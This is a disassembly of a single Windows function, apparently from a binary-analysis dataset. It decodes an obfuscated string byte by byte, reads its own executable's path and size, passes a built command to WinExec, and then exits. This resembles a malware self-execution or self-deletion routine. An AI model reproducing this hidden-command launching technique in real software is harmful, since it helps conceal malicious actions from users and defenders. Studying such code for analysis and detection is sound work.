Function at 0x449f80
Capabilities:
Create process on windows
Get file size
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x18
mov esi, esp
mov eax, dword [0x476608]
test eax, eax
jne 0x44a71b
movzx eax, byte [0x4756c0]
mov ecx, eax
add cl, al
and cl, 0x62
sub al, cl
add al, 0xb1
mov byte [0x475730], al
movzx ecx, byte [0x4756c1]
mov eax, ecx
not al
mov edx, eax
and dl, 0xb1
xor cl, 0xb1
add cl, al
sub cl, dl
mov edx, ecx
add dl, cl
not dl
add dl, cl
and al, 0x4e
or al, dl
not al
mov byte [0x475731], al
movzx eax, byte [0x4756c2]
xor al, 0x42
mov byte [0x475732], al
movzx eax, byte [0x4756c3]
mov ecx, eax
add cl, al
and cl, 0x5a
sub al, cl
add al, 0xad
mov byte [0x475733], al
movzx eax, byte [0x4756c4]
xor al, 0x7e
mov byte [0x475734], al
movzx eax, byte [0x4756c5]
mov ecx, eax
add cl, al
and cl, 0x52
mov dl, 0xa8
sub dl, cl
add cl, 0x57
and dl, al
not al
and al, cl
sub dl, al
mov byte [0x475735], dl
movzx eax, byte [0x4756c6]
xor al, 0xee
mov byte [0x475736], al
movzx eax, byte [0x4756c7]
xor al, 0x57
mov byte [0x475737], al
movzx eax, byte [0x4756c8]
mov ecx, eax
add cl, al
and cl, 0xb8
sub al, cl
add al, 0xdc
mov byte [0x475738], al
movzx eax, byte [0x4756c9]
xor al, 0x1e
mov byte [0x475739], al
movzx eax, byte [0x4756ca]
xor al, 0xd3
mov byte [0x47573a], al
movzx eax, byte [0x4756cb]
xor al, 0xfe
mov byte [0x47573b], al
movzx eax, byte [0x4756cc]
xor al, 0x97
mov byte [0x47573c], al
movzx eax, byte [0x4756cd]
xor al, 0xe9
mov byte [0x47573d], al
movzx eax, byte [0x4756ce]
xor al, 0xd9
mov byte [0x47573e], al
movzx eax, byte [0x4756cf]
xor al, 0xab
mov byte [0x47573f], al
movzx eax, byte [0x4756d0]
xor al, 0x60
mov byte [0x475740], al
movzx eax, byte [0x4756d1]
xor al, 0x5a
mov byte [0x475741], al
movzx eax, byte [0x4756d2]
xor al, 0xb6
mov byte [0x475742], al
movzx eax, byte [0x4756d3]
mov ecx, eax
add cl, al
and cl, 0xe
sub al, cl
add al, 7
mov byte [0x475743], al
movzx eax, byte [0x4756d4]
xor al, 0x18
mov byte [0x475744], al
movzx eax, byte [0x4756d5]
mov ecx, eax
add cl, al
and cl, 0x8c
sub al, cl
add al, 0xc6
mov byte [0x475745], al
movzx eax, byte [0x4756d6]
xor al, 0x90
mov byte [0x475746], al
movzx eax, byte [0x4756d7]
xor al, 0xdb
mov byte [0x475747], al
movzx eax, byte [0x4756d8]
xor al, 0x6e
mov byte [0x475748], al
movzx eax, byte [0x4756d9]
xor al, 0xb4
mov byte [0x475749], al
movzx eax, byte [0x4756da]
mov ecx, eax
add cl, al
and cl, 0xe2
sub al, cl
add al, 0xf1
mov byte [0x47574a], al
movzx eax, byte [0x4756db]
xor al, 0x8f
mov byte [0x47574b], al
movzx eax, byte [0x4756dc]
xor al, 0x15
mov byte [0x47574c], al
movzx eax, byte [0x4756dd]
xor al, 0x9f
mov byte [0x47574d], al
movzx eax, byte [0x4756de]
mov ecx, eax
and cl, 0x60
sub cl, al
add cl, 0x9f
and cl, 0xf9
and al, 0x66
or al, cl
xor al, 6
mov byte [0x47574e], al
movzx eax, byte [0x4756df]
mov ecx, eax
add cl, al
not cl
add cl, al
and cl, 0x47
and al, 0xb8
or al, cl
mov byte [0x47574f], al
movzx eax, byte [0x4756e0]
xor al, 9
mov byte [0x475750], al
movzx eax, byte [0x4756e1]
xor al, 0xe7
mov byte [0x475751], al
movzx eax, byte [0x4756e2]
xor al, 0xd6
mov byte [0x475752], al
movzx eax, byte [0x4756e3]
mov ecx, eax
add cl, al
and cl, 0x6c
sub al, cl
add al, 0xb6
mov byte [0x475753], al
movzx eax, byte [0x4756e4]
xor al, 0x5f
mov byte [0x475754], al
movzx eax, byte [0x4756e5]
xor al, 0xa
mov byte [0x475755], al
movzx eax, byte [0x4756e6]
mov ecx, eax
add cl, al
and cl, 0xd8
sub al, cl
add al, 0x6c
mov byte [0x475756], al
movzx eax, byte [0x4756e7]
mov ecx, eax
add cl, al
and cl, 0x6a
sub al, cl
add al, 0x35
mov byte [str._nPT_], al
movzx eax, byte [0x4756e8]
xor al, 0xc3
mov byte [0x475758], al
movzx eax, byte [0x4756e9]
xor al, 0xcc
mov byte [0x475759], al
movzx eax, byte [0x4756ea]
mov ecx, eax
not cl
or cl, 0xce
or al, 0x31
and al, cl
mov byte [0x47575a], al
movzx eax, byte [0x4756eb]
xor al, 0x16
mov byte [0x47575b], al
movzx eax, byte [0x4756ec]
xor al, 0xc5
mov byte [0x47575c], al
movzx eax, byte [0x4756ed]
xor al, 0x9d
mov byte [0x47575d], al
movzx eax, byte [0x4756ee]
mov ecx, eax
add cl, al
and cl, 0xc8
sub al, cl
add al, 0xe4
mov byte [0x47575e], al
movzx eax, byte [str.l3__]
xor al, 0x1f
mov byte [0x47575f], al
movzx eax, byte [0x4756f0]
xor al, 0x56
mov byte [0x475760], al
movzx eax, byte [0x4756f1]
xor al, 0x34
mov byte [0x475761], al
movzx eax, byte [0x4756f2]
xor al, 0x61
mov byte [0x475762], al
movzx eax, byte [0x4756f3]
xor al, 0x93
mov byte [0x475763], al
movzx eax, byte [0x4756f4]
xor al, 0xd6
mov byte [0x475764], al
movzx eax, byte [0x4756f5]
xor al, 0x3c
mov byte [0x475765], al
movzx ecx, byte [0x4756f6]
mov eax, ecx
add al, cl
not al
add al, cl
not cl
and al, cl
or al, 0x36
and cl, 0x36
mov edx, ecx
add dl, cl
not dl
add dl, cl
and dl, al
mov byte [0x475766], dl
movzx eax, byte [0x4756f7]
mov ecx, eax
xor cl, 0x42
mov edx, eax
or dl, 0x3d
and dl, cl
add dl, dl
sub al, dl
add al, 0xbd
mov byte [0x475767], al
movzx eax, byte [0x4756f8]
xor al, 5
mov byte [0x475768], al
movzx eax, byte [0x4756f9]
xor al, 0xb8
mov byte [0x475769], al
movzx eax, byte [0x4756fa]
xor al, 0xfa
mov byte [0x47576a], al
movzx eax, byte [0x4756fb]
mov ecx, eax
or cl, 0x84
xor al, 0x7b
and al, cl
mov edx, ecx
add dl, cl
not dl
add dl, cl
or dl, al
mov byte [0x47576b], dl
movzx eax, byte [0x4756fc]
xor al, 0xf3
mov byte [0x47576c], al
movzx eax, byte [0x4756fd]
xor al, 0x2c
mov byte [0x47576d], al
mov ch, byte [0x4756fe]
mov dh, ch
and dh, 0xc8
mov dl, ch
and dl, 2
mov cl, ch
or cl, 0xfd
inc cl
mov al, dh
xor al, 0xfe
mul dl
mov dl, al
mov eax, ecx
mul dh
add al, dl
add al, ch
add al, 0xca
mov byte [0x47576e], al
mov ch, byte [str.K:h__]
mov dh, ch
and dh, 0x2c
mov dl, ch
and dl, 2
mov cl, ch
or cl, 0xfd
inc cl
mov al, dh
xor al, 0xfe
mul dl
mov dl, al
mov eax, ecx
mul dh
add al, dl
add al, ch
add al, 0x2e
mov byte [0x47576f], al
movzx eax, byte [0x475700]
xor al, 0x4e
mov byte [0x475770], al
movzx eax, byte [0x475701]
mov ecx, eax
not cl
mov edx, ecx
add dl, cl
not dl
add dl, cl
and dl, 0x55
and al, 0xaa
or al, dl
xor al, 0x55
mov byte [0x475771], al
movzx eax, byte [0x475702]
xor al, 0x1a
mov byte [0x475772], al
movzx eax, byte [0x475703]
xor al, 0xd
mov byte [0x475773], al
movzx eax, byte [0x475704]
xor al, 0x43
mov byte [0x475774], al
movzx eax, byte [0x475705]
mov ecx, eax
add cl, al
and cl, 0x62
sub al, cl
add al, 0xb1
mov byte [0x475775], al
movzx eax, byte [0x475706]
mov ecx, eax
xor cl, 0x54
add al, al
and al, 0x52
sub cl, al
add cl, 0xa9
mov byte [0x475776], cl
movzx eax, byte [0x475707]
mov ecx, eax
not cl
or al, 0x5c
or cl, 0xa3
and cl, al
not cl
mov byte [str.84hv], cl
movzx eax, byte [0x475708]
xor al, 0x6b
mov byte [0x475778], al
movzx eax, byte [0x475709]
xor al, 0xa7
mov byte [0x475779], al
mov ch, byte [0x47570a]
mov al, ch
not al
or al, 6
or ch, 0xf9
and ch, al
mov dh, byte [0x47570d]
mov cl, dh
xor cl, 0x32
mov al, dh
or al, 0xcd
and al, cl
mov ebx, eax
mov dl, al
and dl, 2
mov cl, al
or al, 2
mul dl
mov dl, al
mov byte [0x47577a], ch
movzx eax, byte [0x47570b]
xor al, 0x77
mov byte [0x47577b], al
movzx eax, byte [0x47570c]
xor al, 0x88
mov byte [0x47577c], al
and bl, 0xfd
or cl, 0xfd
inc cl
mov eax, ecx
mul bl
sub al, dl
add al, dh
add al, 0xcd
mov byte [0x47577d], al
movzx eax, byte [0x47570e]
mov ecx, eax
add cl, al
and cl, 0xb0
sub al, cl
add al, 0xd8
mov byte [0x47577e], al
movzx eax, byte [0x47570f]
xor al, 0x77
mov byte [0x47577f], al
movzx eax, byte [0x475710]
xor al, 0x30
mov byte [0x475780], al
movzx eax, byte [0x475711]
mov ecx, eax
add cl, al
and cl, 0xde
sub al, cl
add al, 0x6f
mov byte [0x475781], al
movzx eax, byte [0x475712]
xor al, 0x24
mov byte [0x475782], al
movzx eax, byte [0x475713]
mov ecx, eax
add cl, al
and cl, 0xcc
sub al, cl
add al, 0xe6
mov byte [0x475783], al
movzx eax, byte [0x475714]
mov ecx, eax
add cl, al
not cl
add cl, al
xor cl, 0x8a
mov byte [0x475784], cl
movzx eax, byte [0x475715]
xor al, 0xb5
mov byte [0x475785], al
movzx eax, byte [0x475716]
xor al, 0x11
mov byte [0x475786], al
movzx eax, byte [0x475717]
xor al, 0x7c
mov byte [0x475787], al
movzx eax, byte [0x475718]
xor al, 0x7b
mov byte [0x475788], al
movzx eax, byte [0x475719]
xor al, 0x90
mov byte [0x475789], al
movzx eax, byte [0x47571a]
xor al, 0xc3
mov byte [0x47578a], al
movzx eax, byte [0x47571b]
xor al, 0x9c
mov byte [0x47578b], al
movzx eax, byte [0x47571c]
mov ecx, eax
add cl, al
not cl
add cl, al
and cl, 0x94
and al, 0x6b
or al, cl
mov byte [0x47578c], al
movzx eax, byte [0x47571d]
xor al, 0xe3
mov byte [0x47578d], al
movzx eax, byte [0x47571e]
xor al, 0x86
mov byte [0x47578e], al
movzx eax, byte [0x47571f]
xor al, 0xbb
mov byte [0x47578f], al
movzx eax, byte [0x475720]
xor al, 0x60
mov byte [0x475790], al
movzx eax, byte [0x475721]
xor al, 0x67
mov byte [0x475791], al
movzx eax, byte [0x475722]
xor al, 0x27
mov byte [0x475792], al
movzx eax, byte [0x475723]
xor al, 0x83
mov ecx, eax
add cl, al
not cl
add cl, al
mov byte [0x475793], cl
movzx eax, byte [0x475724]
xor al, 0xfd
mov byte [0x475794], al
movzx eax, byte [0x475725]
xor al, 0x3f
mov byte [0x475795], al
movzx eax, byte [0x475726]
xor al, 0xfd
mov byte [0x475796], al
movzx eax, byte [0x475727]
xor al, 0x98
mov byte [0x475797], al
mov dword [0x476608], 1
push eax
sub esp, 0x7fc
mov dword [esi + 0xc], esp
sub esp, 0x200
mov edi, esp
mov dword [esi + 4], edi
sub esp, 8
mov ebx, esp
and ebx, 0xfffffff8
mov esp, ebx
push eax
sub esp, 0x64
mov dword [esi + 8], esp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x200
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 7
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [ebx]
mov ecx, dword [ebx + 4]
mov edx, eax
or edx, 0xfffffffe
and eax, 0xfffffffe
add eax, edx
adc ecx, 0xffffffff
add eax, 1
adc ecx, 0
mov dword [ebx], eax
mov dword [ebx + 4], ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x68
push 0x475730
mov edi, dword [esi + 8]
push edi
call fcn.0044fd30
add esp, 0xc
mov eax, dword [esi + 4]
push eax
push eax
push dword [ebx]
push edi
push 0x800
mov edi, dword [esi + 0xc]
push edi
call fcn.0044a7f0
add esp, 0x18
push 0
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]